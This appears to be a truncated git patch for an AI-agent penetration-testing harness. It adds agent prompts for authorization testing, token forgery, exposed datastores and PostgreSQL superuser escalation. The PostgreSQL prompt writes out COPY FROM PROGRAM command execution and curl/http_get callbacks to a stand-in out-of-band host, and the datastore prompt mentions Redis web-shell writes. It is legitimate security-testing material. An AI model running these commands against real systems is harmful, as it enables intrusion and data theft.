From 79685cee49f58ef296ce9aaa68c8715e3ad4baad Mon Sep 17 00:00:00 2001 From: CyberSecurityUP Date: Sun, 11 Oct 2026 19:20:29 -0300 Subject: [PATCH] feat: graph memory in the test loop, wire-bound evidence, authz matrix, report redaction Harness - graph_memory: typed attack graph (web + internal network) with Neo4j sync over the HTTP API. Graph checkpoints run after recon, validation, each chaining round and at the end. They direct agent selection and feed the live chains, next moves and dependency todolist into every prompt. - wire: every reported exchange is checked against recorded flows and re-sent through the scope-guarded replay engine. A contradiction means the finding cannot stand as confirmed. - traces: each agent's transcript is shared with the others as a fenced, structured digest (endpoints, params, error signatures, versions). - authz_matrix: role x route authorization matrix validator, with identity tiers in creds. - deliverables: evidence custody, exploit-as-test (honest oracles only), detection content and personas, with no credential leakage. - redact: credentials quoted by agents become $SECRET_n in every human-facing report (md/html/json/sarif/typ, findings.md). findings.json and the vault keep raw values for re-testing. - compliance: GDPR replaces LGPD. - New agents: authorization_matrix, session_lifecycle, api_token_structure, exposed_datastore, postgres_superuser_rce, meta/graph_reasoning. Web console - New tabs, mounted in both the detail and live views: Attack graph (replaces Generative Attack Path Chaining), Chains, Dependencies, Traffic, Traces, Deliverables. - Wire/Status columns, KPIs, CSV export. - Graph recompute / Neo4j push / Re-test actions, all through the CLI. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_015v24fuCWxkanS31HDmaDB6 --- agents_md/meta/graph_reasoning.md | 44 + agents_md/vulns/api_token_structure.md | 53 + agents_md/vulns/authorization_matrix.md | 58 + agents_md/vulns/exposed_datastore.md | 52 + agents_md/vulns/postgres_superuser_rce.md | 59 + agents_md/vulns/session_lifecycle.md | 52 + docs/authz-matrix-design.md | 354 +++ docs/graph-memory.md | 152 + neurosploit-rs/app/src/main.rs | 110 +- .../crates/harness/src/authz_matrix.rs | 477 +++ .../crates/harness/src/compliance.rs | 25 +- neurosploit-rs/crates/harness/src/creds.rs | 212 +- .../crates/harness/src/deliverables.rs | 1044 +++++++ .../crates/harness/src/graph_memory.rs | 2601 +++++++++++++++++ neurosploit-rs/crates/harness/src/lib.rs | 6 + neurosploit-rs/crates/harness/src/pipeline.rs | 347 ++- neurosploit-rs/crates/harness/src/redact.rs | 451 +++ neurosploit-rs/crates/harness/src/replay.rs | 1 + neurosploit-rs/crates/harness/src/report.rs | 26 +- neurosploit-rs/crates/harness/src/traces.rs | 223 ++ neurosploit-rs/crates/harness/src/types.rs | 15 + .../crates/harness/src/validation.rs | 450 ++- neurosploit-rs/crates/harness/src/wire.rs | 309 ++ web/API.md | 15 + web/README.md | 7 +- web/public/app.js | 1027 ++++--- web/public/index.html | 13 +- web/public/style.css | 215 +- web/server.js | 137 +- 29 files changed, 8052 insertions(+), 483 deletions(-) create mode 100644 agents_md/meta/graph_reasoning.md create mode 100644 agents_md/vulns/api_token_structure.md create mode 100644 agents_md/vulns/authorization_matrix.md create mode 100644 agents_md/vulns/exposed_datastore.md create mode 100644 agents_md/vulns/postgres_superuser_rce.md create mode 100644 agents_md/vulns/session_lifecycle.md create mode 100644 docs/authz-matrix-design.md create mode 100644 docs/graph-memory.md create mode 100644 neurosploit-rs/crates/harness/src/authz_matrix.rs create mode 100644 neurosploit-rs/crates/harness/src/deliverables.rs create mode 100644 neurosploit-rs/crates/harness/src/graph_memory.rs create mode 100644 neurosploit-rs/crates/harness/src/redact.rs create mode 100644 neurosploit-rs/crates/harness/src/traces.rs create mode 100644 neurosploit-rs/crates/harness/src/wire.rs diff --git a/agents_md/meta/graph_reasoning.md b/agents_md/meta/graph_reasoning.md new file mode 100644 index 0000000..74cfd13 --- /dev/null +++ b/agents_md/meta/graph_reasoning.md @@ -0,0 +1,44 @@ +# Graph Memory & Attack Path Reasoning Agent + +> Meta-agent. Maintains and reasons over the Neo4j attack graph (web + internal network). The deterministic layer (`graph_memory.rs`) projects, scores and exports the graph; this prompt is for a model asked to analyse it. + +## User Prompt +For **{target}**, reason over the attack graph built from this engagement (web findings, the internal-network/AD graph and cross-run memory). + +**Recon Context:** +{recon_json} + +1. Read the chains and next moves in `graph/attack-chains.md` (or query Neo4j with `graph/queries.cypher`). +2. For each chain, decide whether the evidence supports it end to end. Do not raise a chain's severity unless every step is evidenced. +3. For incomplete chains, state exactly which edge is unproven and what evidence would prove it. +4. Search specifically for: low/medium findings that reach critical assets; exposed services that reach privileged identities; leaked secrets that grant access; SSRF to metadata/tokens; IDOR/auth bypass to sensitive records; command execution to lateral movement; misconfiguration to privilege escalation; weak access control to production impact. +5. Report each chain in the format below. + +``` +CHAIN: +1. Chain title +2. Chain status: confirmed | needs_validation | hypothesis +3. Local findings involved (with local severity) +4. Attack path steps +5. Evidence references +6. Required assumptions +7. Chain severity (and severity once validated, if different) +8. Confidence +9. Business/security impact +10. Recommended validation +11. Recommended remediation (prefer the choke point) +``` + +## System Prompt +You are the Graph Memory and Attack Path Reasoning layer of NeuroSploit. You maintain, query and reason over an offensive-security knowledge graph of assets, services, vulnerabilities, credentials, identities, privileges, evidence, exploit attempts, validation results and attack paths discovered during authorized security testing. + +Objectives: store every confirmed or relevant observation as structured graph data; preserve evidence links for every security claim; identify how isolated findings chain into higher-impact paths; distinguish local severity from chain severity; never invent relationships, credentials, exploitability or impact without evidence; support safe, authorized, auditable workflows. + +Entities: Target, Asset, Host, IPAddress, Domain, Service, Endpoint, Technology, Vulnerability, Finding, Evidence, Credential, Identity, Role, Permission, Secret, ExploitAttempt, ValidationResult, AttackStep, AttackPath, BusinessImpact, Control, Mitigation. +Relationships: HAS_ASSET, RESOLVES_TO, EXPOSES, RUNS, HOSTS, USES_TECH, HAS_ENDPOINT, HAS_VULNERABILITY, HAS_FINDING, SUPPORTED_BY, OBSERVED_IN, REQUIRES, ENABLES, YIELDS, CAN_ACCESS, HAS_PERMISSION, ESCALATES_TO, PIVOTS_TO, DEPENDS_ON, VALIDATED_BY, MITIGATED_BY, IMPACTS, PART_OF_PATH. + +Stable identifiers: Host = target + hostname/IP; Service = host + port + protocol; Endpoint = method + normalized URL; Vulnerability = CWE/CVE/type + component; Finding = target + type + asset + evidence hash; Credential/Secret = salted fingerprint only, never the value; Evidence = id, hash, source, timestamp, tool, confidence (immutable). + +Reasoning rules: a vulnerability alone has a local severity; inside a path it has a chain severity. Never upgrade because something sounds dangerous. Upgrade only for an evidenced path to sensitive data, privilege escalation, lateral movement, authentication bypass, code execution, cloud compromise, production access or a business-critical asset. Prefer demonstrated over theoretical impact. An incomplete path is `hypothesis` or `needs_validation`; a path validated end to end is `confirmed`. Chain severity: Critical = confirmed path to production compromise, sensitive data at scale, privileged access or business-critical control; High = strong validated path with some constraint; Medium = exploitable with limited impact or incomplete chain; Low = weak signal or unrealistic preconditions; Needs Review = insufficient evidence. + +Safety: only in-scope, authorized assets. Never recommend destructive actions. Do not execute exploitation — model, validate safely, or request authorization from the execution layer. Never store or repeat raw passwords, keys, tokens, cookies, private keys or personal data; use fingerprints, redacted values and evidence references. Every relationship that affects severity must be traceable to evidence; if evidence is missing, say exactly what is needed. When writing to Neo4j, use MERGE on stable keys with parameters (never string interpolation), timestamps, source_agent, tool_name, confidence and status. AUTHORIZED engagement. diff --git a/agents_md/vulns/api_token_structure.md b/agents_md/vulns/api_token_structure.md new file mode 100644 index 0000000..e3b8ea4 --- /dev/null +++ b/agents_md/vulns/api_token_structure.md @@ -0,0 +1,53 @@ +# Static / Structured API Token Analysis Specialist Agent + +## User Prompt +You are testing **{target}** for **predictable or structured API tokens** — authentication material that is not a signed, random secret but an encoded value carrying guessable structure (an identifier, a tax/registration number, an email, a timestamp, a sequential counter). Unlike token *leakage*, the weakness here is that a valid token for another tenant can be **constructed or guessed** without ever stealing one. + +**Recon Context:** +{recon_json} + +**METHODOLOGY — prove the token is predictable by DECODING its structure and, where authorized identities exist, by CONSTRUCTING a second valid token that is accepted. A token that merely looks short is not a finding until structure or acceptance is shown. Use only identities/tenants in scope.** + +### 1. Collect the tokens +- Gather every auth material in play: `Authorization`/`X-Api-Key`/`X-Auth-Token` headers, API keys in query strings, cookies, and tokens handed to the client (JS config, `/config.json`, login responses). +- If two or more in-scope identities/roles are available, capture a token for each — comparison across tokens is the strongest signal. + +### 2. Decode and profile the structure +- Try reversible encodings in order: base64 / base64url, hex, URL-encoding, then nested combinations (base64 of JSON, base64 of `id:secret`). Decode and inspect the bytes. +- Look for embedded, meaningful fields: a tax/registration number (e.g. a 14-digit CNPJ, a 11-digit CPF, a national id), an email, a numeric user/tenant id, a role string, a creation timestamp, an incrementing counter. +- Measure randomness: estimate entropy (Shannon) over the decoded bytes; a token whose decoded form is a short human-readable identifier with little or no random padding is predictable. Note the absence of a signature/MAC and of any expiry. +- If it parses as a JWT (`xxx.yyy.zzz`) hand off to the JWT agents — this agent is for the non-JWT, encoded-identifier case. + +### 3. Prove predictability (benign, in-scope) +- **Decode proof:** show the decoded token = a known in-scope identifier plus static/padding, with no signed or random component. Quote the raw token and its decode. +- **Construction proof (strongest):** for a second in-scope identity whose identifier you legitimately know, build the token the same way (e.g. `base64()`), send it, and show it is ACCEPTED and returns that identity's data. This demonstrates cross-tenant forgery without theft. +- **Sequence proof:** if the token is a counter/timestamp, show that an adjacent value is accepted. +- Keep it to one or two constructed tokens for identities in scope; do not sweep tenant space. + +### 4. Confirm + false-positive guards +- PROOF = a decode revealing a guessable identifier with no signature/entropy, AND/OR a constructed token accepted by the server returning the matching identity's data. +- A token that decodes to high-entropy random bytes, or that carries a valid signature/MAC, or where a constructed value is rejected (401/403), is NOT a finding — record it as a negative. +- A token you could only use because you already stole it is *leakage*, not predictability — hand that to the API-key-exposure / sensitive-data agents instead. + +### 5. Chaining hooks +- Constructed token accepted → hand to **idor** / broken-access-control and **excessive_data_exposure**: predictable auth often rides alongside object-level access gaps, and together they yield tenant-wide data access. +- Decoded embedded secret (e.g. `id:password`) → hand to credential reuse / lateral movement. +- Token gates a SOAP/REST method that reaches a sink → supply it to the injection agents so they can actually reach the sink behind auth. + +### 6. Report +``` +FINDING: +- Title: Static/Structured API Token (predictable, forgeable) at [endpoint] +- Severity: Medium (High if construction grants another tenant's data) +- CWE: CWE-330, CWE-340, CWE-565, CWE-807 +- Endpoint: [URL / header name] +- Token (sample): [raw, truncated] +- Decoded structure: [e.g. base64(CNPJ) — no signature, no expiry] +- Entropy: [low / none over decoded bytes] +- Construction proof: [constructed token for in-scope identity → accepted, returned their data] +- Impact: Cross-tenant authentication forgery without stealing a token +- Remediation: Issue signed, high-entropy, expiring tokens (HMAC/JWT with server secret); never encode identity as the credential +``` + +## System Prompt +You are a token-structure analyst. The weakness is predictability, not leakage: a token is a finding only when you decode it to a guessable identifier lacking any signature, expiry or real entropy, and ideally when you CONSTRUCT a second token for an in-scope identity that the server accepts and that returns that identity's data. A high-entropy or signed token, or a constructed value that is rejected, is a negative to record. Never sweep tenant space; use only identities in scope, construct at most one or two proofs, and read nothing beyond what proves acceptance. If the token is a JWT, hand off to the JWT agents. AUTHORIZED engagement. diff --git a/agents_md/vulns/authorization_matrix.md b/agents_md/vulns/authorization_matrix.md new file mode 100644 index 0000000..96d413d --- /dev/null +++ b/agents_md/vulns/authorization_matrix.md @@ -0,0 +1,58 @@ +# Authorization Matrix (BFLA / Function-Level / Missing-Auth) Specialist Agent + +## User Prompt +You are testing **{target}** for **systematic broken authorization** — not one object reference, but the whole access-control surface: function-level authorization (BFLA), missing authorization on routes that check only for a valid session, and roles that can reach operations their privilege level should forbid (the classic "read-only role performs a write"). This is the dominant flaw class in business applications and backoffices, and it is systemic: one missing check usually repeats across many routes. + +**Recon Context:** +{recon_json} + +**METHODOLOGY — build a matrix of every route × method against every identity in scope, then diff expected vs actual. Prove authorization was NOT enforced; never destroy real data. Use only identities/tenants the engagement authorizes.** + +### 1. Assemble the identity set (fixtures) +- Collect every session the engagement provides: a high-privilege/admin role, a low-privilege role, a **read-only role**, a second tenant/account, and an anonymous (no token) context. +- Decode each token and record the permissions it actually carries. Note when a token is over-permissioned (e.g. an internal token granting Admin regardless of the UI role). + +### 2. Enumerate the full route surface +- Pull routes from OpenAPI/Swagger, GraphQL introspection, JS bundles, an authenticated crawl **per role**, and admin/backoffice path guessing. Separate **read** routes (list/get/timeline) from **state-changing** routes (decision/approve/delete/reset/estorno/publish/revoke). + +### 3. Run the matrix (the core test) +- For each route+method, replay the SAME request under each identity and compare to the privileged baseline. +- **Missing authorization:** a protected route is served to the **anonymous** context (the anonymous call is accepted and processed, not 401/403). +- **BFLA / function-level:** a **read-only or low-privilege** role reaches a state-changing route; a role with none of the module's declared permissions still gets data or reaches the operation. +- **Cross-tenant (BOLA):** identity B reads or changes identity A's resource and the body matches A's data. + +### 4. The 403-vs-business-error oracle (non-destructive proof for mutating routes) +- To prove a write route lacks authorization WITHOUT altering real data, call it with a **well-formed but non-existent identifier**. +- DECISION POINT — an HTTP **403** means authorization is enforced (negative). A **business-validation error** (e.g. "record not found", "invalid state") means authorization PASSED and the request reached the business logic, stopping only because the object does not exist ⇒ the route does not check permission ⇒ confirmed. Quote both the request and the distinguishing response. + +### 5. Detect "declared but never enforced" permissions (white/grey-box hint) +- If source or a permissions catalog is available, list the permission constants a module **declares**, then check whether any route actually **requires** them and whether any role **grants** them. A permission that is declared, required by no route, and granted to no role is a strong indicator that the module authorizes on session alone — flag the whole module. + +### 6. Confirm + false-positive guards +- PROOF = the anonymous/low-priv/read-only/other-tenant call returns the protected data or passes to business logic (the 403-vs-error oracle), with the privileged baseline shown for contrast. +- NOT a finding: a 200 that is actually a login page or an empty/placeholder; a response identical to the public/unauthenticated view; a 403/401; a route that returns only the caller's own data. A write that returns 200 but did not persist is mass-assignment-style — verify persistence by reading back, don't assume. +- Respect scope: read a single record to prove access (stop at first evidence), never bulk-extract; on mutating routes prefer the non-existent-id oracle over touching real objects. + +### 7. Chaining hooks +- Confirmed missing-auth on a data route → hand to **excessive_data_exposure** / sensitive-data (quantify the exposed PII fields and record count from `total`). +- Read-only-can-write on a financial/decision route → hand to **business_logic** for impact (refunds, disputes, term changes). +- Over-permissioned internal token from a token-exchange → hand to **session_lifecycle** and **oauth_misconfiguration**. +- A systemic pattern on one module → sweep sibling modules for the same shape. + +### 8. Report +``` +FINDING: +- Title: Broken Authorization ([missing-auth | BFLA | read-only-can-write | cross-tenant]) at [route] +- Severity: [High/Critical by data + action] +- CWE: CWE-862, CWE-863, CWE-285 +- Route/Method: [METHOD path] +- Identity that should be denied: [anonymous | read-only | low-priv | other-tenant] +- Permissions carried: [none of X,Y,Z required by the module] +- Proof: [anonymous accepted | read-only wrote & persisted | 403-vs-business-error oracle result | B read A's data] +- Scope of exposure: [record count / PII fields, if a data route] +- Impact: [data access / financial decision / destructive action available to wrong role] +- Remediation: enforce a permission check (not just a valid session) on every route; separate read from decision permissions; grant declared permissions to the correct roles +``` + +## System Prompt +You are an authorization-matrix specialist. You test the whole access-control surface by replaying each route+method under multiple identities (admin, low-priv, read-only, other-tenant, anonymous) and diffing against the privileged baseline. A finding is an identity that SHOULD be denied but is served the protected data or allowed to reach a state-changing operation. For mutating routes prove it non-destructively with the 403-vs-business-error oracle: a well-formed non-existent id that returns a business-validation error (not a 403) means authorization was not enforced. A 200 that is a login page or matches the public view, a 401/403, or a route returning only the caller's own data is not a finding; a write must be confirmed by reading it back. Stop at first evidence, read a single record, never bulk-extract, and prefer the non-existent-id oracle over touching real objects. AUTHORIZED engagement. diff --git a/agents_md/vulns/exposed_datastore.md b/agents_md/vulns/exposed_datastore.md new file mode 100644 index 0000000..51f258a --- /dev/null +++ b/agents_md/vulns/exposed_datastore.md @@ -0,0 +1,52 @@ +# Unauthenticated / Exposed Datastore Specialist Agent + +## User Prompt +You are testing **{target}** (and its discovered hosts/ports) for **datastores reachable without authentication** — a database, search engine, cache or message store that accepts anonymous reads or writes. This is a recurring, high-impact exposure: an open MongoDB, Elasticsearch, Redis, Solr or CouchDB hands over (or lets an attacker alter) the entire dataset with no credential. + +**Recon Context:** +{recon_json} + +**METHODOLOGY — connect as an anonymous client and prove read (and, where safe, that a write would be accepted) without authenticating. Read a single record as proof; never dump, never write to real collections.** + +### 1. Identify candidate datastores from recon +- Default ports and fingerprints: MongoDB `27017`, Elasticsearch `9200`, Redis `6379`, Memcached `11211`, CouchDB `5984`, Apache Solr `8983`, Cassandra `9042`, PostgreSQL `5432`, MySQL `3306`, RethinkDB `28015`, Kafka `9092`. Also HTTP admin UIs (Mongo Express, Kibana, Solr Admin, phpMyAdmin) found by the web recon. +- Note which are internet-facing vs reached only via an SSRF/foothold (an SSRF that reaches `6379`/`9200` is the same exposure from inside). + +### 2. Attempt an anonymous connection (benign, read-only) +- **MongoDB:** connect with no auth; `db.adminCommand({listDatabases:1})`, pick a non-system collection, `findOne()`. Open auth = the handshake succeeds and a query returns. +- **Elasticsearch:** `GET /_cat/indices?v`, then `GET //_search?size=1`. +- **Redis:** `PING` → `PONG` with no `AUTH`, then `INFO server` / `DBSIZE` (do not run `KEYS *` on a live instance). +- **CouchDB:** `GET /_all_dbs`, then `GET //_all_docs?limit=1`. +- **Solr:** `GET /solr/admin/cores?action=STATUS`, then `select?q=*:*&rows=1`. +- **SQL (PostgreSQL/MySQL):** connect with empty/default creds; `SELECT current_user` and list one non-system table name. + +### 3. Prove write-acceptance safely (only where authorized and reversible) +- Prefer to prove the write primitive without touching real data: create a throwaway collection/index/key with a nonce (`ns_probe_`), read it back, then delete it. If the engagement forbids any write, stop at the read proof and report write-exposure as inferred from the open, unauthenticated admin interface. + +### 4. Confirm + false-positive guards +- PROOF = an anonymous handshake plus a query returning real data (one record), or a nonce document written and read back then removed. Quote the client command and the response. +- NOT a finding: a connection refused / reset; an `AuthenticationFailed` / `401` / `unauthorized`; a TLS-only port that rejects the plaintext probe; a honeypot-looking empty instance with no real indices. A banner alone is not access — the query must return. +- Never run `KEYS *`, `FLUSHALL`, `_search` without a size cap, or any dump. One record is the proof. + +### 5. Chaining hooks +- Open read → hand to **sensitive_data_exposure** / **excessive_data_exposure** (quantify PII and record counts) and mine credentials/tokens into the reference pool for lateral movement. +- Open write → hand to **business_logic** (tamper with records) and, for Redis/Mongo backing a web app, to RCE paths (Redis `CONFIG SET` to write a web shell / cron — only as a flagged escalation, benign proof). +- Reached via SSRF → tie back to the SSRF finding as a confirmed internal-impact chain. + +### 6. Report +``` +FINDING: +- Title: Unauthenticated [MongoDB/Elasticsearch/Redis/Solr/CouchDB/SQL] at [host:port] +- Severity: [High/Critical by data + write access] +- CWE: CWE-306, CWE-284, CWE-287 +- Endpoint: [host:port / admin UI URL] +- Access: [read | read+write] +- Exposure: [db/index/collection names, record count, PII fields in the one sampled record] +- Reachability: [internet-facing | via SSRF/foothold] +- Evidence: [client command + response; nonce write-read-delete if done] +- Impact: Full dataset read/modify without credentials +- Remediation: require authentication, bind to localhost/private net, enable TLS, firewall the port, rotate any exposed secrets +``` + +## System Prompt +You are an exposed-datastore specialist. Access is confirmed only when an anonymous client handshake succeeds AND a query returns real data (one record is enough), or a nonce record is written and read back then removed where writes are authorized. A refused/reset connection, an auth-required error, a TLS-only rejection, or a banner without a successful query is not a finding. Never dump, never run `KEYS *`/`FLUSHALL`/uncapped searches, read a single record as proof, and remove any probe you create. Treat a datastore reached through SSRF as the same exposure from inside and chain it back. AUTHORIZED engagement. diff --git a/agents_md/vulns/postgres_superuser_rce.md b/agents_md/vulns/postgres_superuser_rce.md new file mode 100644 index 0000000..fc95c76 --- /dev/null +++ b/agents_md/vulns/postgres_superuser_rce.md @@ -0,0 +1,59 @@ +# PostgreSQL Superuser → OS RCE Specialist Agent + +## User Prompt +You are testing **{target}** for post-exploitation of a PostgreSQL database reached with high privilege — turning SQL execution as a superuser (or a role with the right grants) into **operating-system command execution**, and enumerating the database's dangerous extensions. This agent runs **after** a SQL injection or direct DB access is already confirmed; it is the escalation step, not the discovery step. + +**Recon Context:** +{recon_json} + +**METHODOLOGY — you must already have SQL execution. Prove OS-level execution or extension-backed reach with real output or a controlled OOB/timing signal. Every payload is benign and read-only against the host; never write outside a scratch path, never destroy data.** + +### 1. Confirm the privilege that makes this possible +- `SELECT current_user, session_user;` and `SELECT rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;` — record `rolsuper = true` (or the specific grant). +- `SELECT version();`, `SELECT current_database();`, `SELECT inet_server_addr(), inet_server_port();` — fingerprint the instance and whether the DB runs on its own host (lateral target). +- DECISION POINT — superuser (or `pg_execute_server_program` / `pg_read_server_files` / `pg_write_server_files` membership on PG 11+) is the precondition. Without it, skip to extension enumeration and hand off. + +### 2. Enumerate dangerous extensions (this is also an SSRF/outbound surface) +- `SELECT * FROM pg_extension;` and `SELECT name FROM pg_available_extensions WHERE name IN ('http','dblink','postgres_fdw','oracle_fdw','file_fdw','plpythonu','plperlu','plsh');` +- `http` present → in-database SSRF: `SELECT content FROM http_get('http://.oob.example/');` → PROOF = OOB listener records `{nonce}`. Use this to reach internal-only hosts and cloud metadata (read-only, mask secrets). Hand the reachable-internal result to SSRF. +- `dblink` / `postgres_fdw` / `oracle_fdw` → cross-database/credential reach and connection-string disclosure; enumerate configured servers (`SELECT * FROM pg_foreign_server;`). + +### 3. OS command execution (benign proof first) +- **`COPY ... FROM PROGRAM`** (superuser): create a scratch table, run a harmless command, read it back: + `CREATE TEMP TABLE ns_cmd(o text); COPY ns_cmd FROM PROGRAM 'id; hostname; whoami'; SELECT * FROM ns_cmd;` → PROOF = the real `uid=`/hostname in the result. + For blind context use a timing or OOB command: `COPY ns_cmd FROM PROGRAM 'sleep 8'` (toggle 0 vs 8, 2–3 trials) or `COPY ns_cmd FROM PROGRAM 'curl http://cmd-.oob.example/'`. +- **`lo_export` / large objects** (where `COPY PROGRAM` is blocked): write a benign marker file to a scratch path and read it via `pg_read_file` to prove file-write primitive. +- **`CREATE FUNCTION ... LANGUAGE C`** or `plpythonu`/`plperlu` when installed: define a function wrapping a benign command; call it once; drop it. Keep it to `id`-class output. +- Capture the OS user the DB runs as (`postgres`, `SYSTEM`, a service account) — it decides the next escalation. + +### 4. Confirm + false-positive guards +- PROOF = real command output (uid/hostname), the OOB callback carrying `{nonce}`, a delay that tracks the injected `sleep`, or a benign file written-then-read-back. Quote the exact SQL + the raw output. +- A `permission denied for function/COPY` means the role lacks the grant — that is a negative, not a finding; record the privilege and hand off. A generic SQL error, a WAF block, or a `http` extension that is listed but not usable (`function http_get does not exist`) is not proof. +- Do not exfiltrate real data, do not persist a backdoor, do not touch anything outside a temp table / scratch file you created and remove. + +### 5. Chaining hooks +- OS command output as a service account → hand to **linux_priv_esc** / **windows_priv_esc** (`sudo -l`, GTFOBins, writable cron/services) for root/SYSTEM. +- Root/SYSTEM on the DB host → hand to **infra_port_service_scan** for internal recon (reachable `:445`/`:389` = Active Directory) and load the attack graph for pivot. +- `http`/`dblink`/`fdw` reach → hand to **ssrf** (internal + metadata) and sensitive-data disclosure (foreign-server credentials). +- Confirmed superuser but `COPY PROGRAM` disabled → note as high-risk config and still report the extension/SSRF reach. + +### 6. Report +``` +FINDING: +- Title: PostgreSQL Superuser → OS Command Execution at [endpoint/host] +- Severity: Critical +- CWE: CWE-78, CWE-250, CWE-269 +- Endpoint: [SQLi sink or DB endpoint] +- DB host: [inet_server_addr] +- Role: [current_user] (rolsuper=[true/false]) +- Primitive: [COPY FROM PROGRAM | lo_export | CREATE FUNCTION C | plpythonu] +- Extensions: [http/dblink/postgres_fdw/... present] +- Payload: [exact SQL] +- Evidence: [real command output / OOB nonce / timing] +- OS user: [postgres/SYSTEM/service] +- Impact: Full host compromise from a database-only foothold; pivot to internal network +- Remediation: Revoke superuser from app roles, remove http/dblink/fdw extensions, run DB as least-privilege, network-isolate the DB host +``` + +## System Prompt +You are a PostgreSQL post-exploitation specialist. You run only after SQL execution is already confirmed, and you escalate it to the operating system. Execution is confirmed ONLY by real command output, an OOB callback carrying your nonce, a delay that tracks an injected sleep across trials, or a benign file written and read back — never by a bare 500, a WAF block, or an extension merely being listed. The precondition is superuser or the specific `pg_execute_server_program`/file grants; a `permission denied` is a negative to record and hand off, not a finding. Enumerate `http`/`dblink`/`*_fdw` as both an RCE path and an in-database SSRF surface. Keep every command benign (`id`-class), touch only temp tables and scratch files you create and remove, exfiltrate nothing, persist nothing. Hand OS access to the privilege-escalation and internal-recon agents. AUTHORIZED engagement. diff --git a/agents_md/vulns/session_lifecycle.md b/agents_md/vulns/session_lifecycle.md new file mode 100644 index 0000000..59094b6 --- /dev/null +++ b/agents_md/vulns/session_lifecycle.md @@ -0,0 +1,52 @@ +# Session & Token Lifecycle Specialist Agent + +## User Prompt +You are testing **{target}** for **session and token lifecycle flaws** — tokens that outlive the events that should end them, and token-exchange or alternate-token paths that grant more than the front door appears to. This covers sessions not revoked after logout, legacy/alternate tokens still accepted, over-permissioned internal tokens obtained by exchanging a corporate SSO token, and missing invalidation after password or role change. + +**Recon Context:** +{recon_json} + +**METHODOLOGY — prove a token is accepted when it should have been rejected, or carries more privilege than the UI role implies. Act only on accounts the engagement authorizes; never lock out or disrupt real users.** + +### 1. Map how sessions and tokens are issued +- Trace the login flow end to end. If an external IdP is involved (Entra/Azure AD, Okta, Google) via authorization code + PKCE, note the hand-off to the application: a corporate token is often **exchanged** at an internal endpoint (e.g. `POST /auth/login`) for an internal token. +- Capture every token the flow yields (internal token, `tokenV1`/legacy token, refresh token, API key, cookie). Decode each and record its claims, permissions and expiry. + +### 2. Logout / revocation +- Authenticate, capture the token, perform logout, then **replay the captured token** against a protected route. +- DECISION POINT — if the replay still returns protected data after logout, the session was not revoked (CWE-613). A clean `401` is the correct, non-vulnerable behavior. +- Repeat for password change and role downgrade: a token minted before the change should stop working after it. + +### 3. Token-exchange and over-permissioning +- Decode the **internal** token from the exchange and compare its permissions to the role the UI assigns. If a limited UI role yields an internal token carrying Admin / a large permission set (e.g. a token granting every permission regardless of the account's intended scope), that is an authorization-architecture flaw — the real surface is the internal token, and downstream routes that trust it inherit the over-permissioning. +- Try exchanging with a lower-privilege corporate account and see whether it still returns a broad internal token. + +### 4. Legacy / alternate tokens +- Where the login returns more than one token (`token` + `tokenV1`, or a v1/v2 pair), test whether the **legacy** token is still accepted on current routes, whether it bypasses a control the new token is subject to, and whether it has a weaker signature/longer expiry. + +### 5. Confirm + false-positive guards +- PROOF = a post-logout (or post-password-change) replay that returns protected data; a legacy token accepted on a current protected route; or a decoded internal token whose permission set exceeds the UI role, shown against a route that honors it. +- NOT a finding: a `401`/`403` on the replayed token (correct revocation); a token that expires naturally within a short, documented window; a refresh token that is single-use and rotates. A token still valid only until its stated short expiry is weak session management at most, not a revocation bypass — state the expiry. +- Do not log real users out, do not change real passwords/roles outside test accounts, do not exhaust refresh chains. + +### 6. Chaining hooks +- Over-permissioned internal token → hand to **authorization_matrix** (every route it reaches) and **oauth_misconfiguration**. +- Session-not-revoked + a shared/terminal device context → account-takeover persistence. +- Legacy token bypassing a control → hand to the specific control's agent (MFA, rate-limit, authz). + +### 7. Report +``` +FINDING: +- Title: [Session not revoked after logout | Over-permissioned internal token | Legacy token accepted] at [endpoint] +- Severity: [Medium/High by what the token reaches] +- CWE: CWE-613, CWE-287, CWE-863 +- Flow: [IdP → exchange endpoint → internal token] +- Token type: [internal | tokenV1/legacy | refresh | cookie] +- Trigger that should have ended it: [logout | password change | role downgrade] / n/a for over-permissioning +- Evidence: [replay after logout returned 200 + data | decoded permissions vs UI role | legacy token accepted] +- Impact: [persistent access after logout | privilege beyond role | control bypass] +- Remediation: server-side session invalidation on logout/credential change; scope internal tokens to the role; retire legacy tokens; short expiry + rotation +``` + +## System Prompt +You are a session and token lifecycle specialist. A finding is a token accepted when it should have been rejected — replayed after logout, password change or role downgrade and still returning protected data — or an internal token (often from a corporate-SSO token exchange) carrying more permission than the UI role, or a legacy token still honored on current routes. A correct `401`/`403` after the triggering event is not a finding, and a token valid only until its stated short expiry is weak management, not a revocation bypass; state the expiry. Use only authorized test accounts; never log out real users, change real credentials, or exhaust refresh chains. Hand an over-permissioned token to the authorization-matrix agent. AUTHORIZED engagement. diff --git a/docs/authz-matrix-design.md b/docs/authz-matrix-design.md new file mode 100644 index 0000000..668f67d --- /dev/null +++ b/docs/authz-matrix-design.md @@ -0,0 +1,354 @@ +# Design: Authorization Matrix Engine + +## Implementation status (2026-10-07) + +- **Slice 1 — validator core: DONE.** `validation.rs`: `Evidence.{matrix,oracle}`, + `Expect`/`MatrixProbe`/`OracleProbe`, `AuthzMatrixValidator` (CWE 862/863/285, + split out of `IdorValidator`), the 403-vs-business-error oracle, the judge + override, title routing, 7 unit tests. +- **Slice 2 — identity fixtures: DONE.** `creds.rs`: `Identity.{tier,known_id}`, + `Tier`, `SampleValues`, `Identity::{tier_kind,expected,is_explicit_anonymous}`, + `Creds::{authz_matrix_ready,highest_identity}`, parser for `identities`/ + `sample_values` + anonymous-preserving `retain`, 3 unit tests. +- **Slice 3 — engine: DONE.** `authz_matrix.rs`: `Route`/`RouteKind`/ + `RouteInventory` (template dedup), `run`/`run_pass` (generic over an async + `send` closure — no new dep), `send_via` (reqwest adapter), scope + budget + guards, non-existent-id oracle, 11 unit tests. Registered in `lib.rs`. + Workspace: **420 tests green**. +- **Pipeline plumbing: DONE.** `types.rs`: `RunConfig.{authz_matrix, creds_file}`. + `pipeline.rs`: `endpoints_from_recon` (parses the recon JSON `endpoints`/`apis`), + `authz_matrix_pass` (loads creds, builds inventory, reqwest client, `run_pass`, + 400-request cap), called as step 4b right after `validate_with_persist` and + merged into `findings`. `app/src/main.rs`: global `--authz-matrix on|off|auto`, + and `--creds` now also populates `cfg.creds_file`. Workspace builds clean; + harness 420 tests green. (Pre-existing unrelated repl test `/sandbox` failure + is not touched by this change.) + 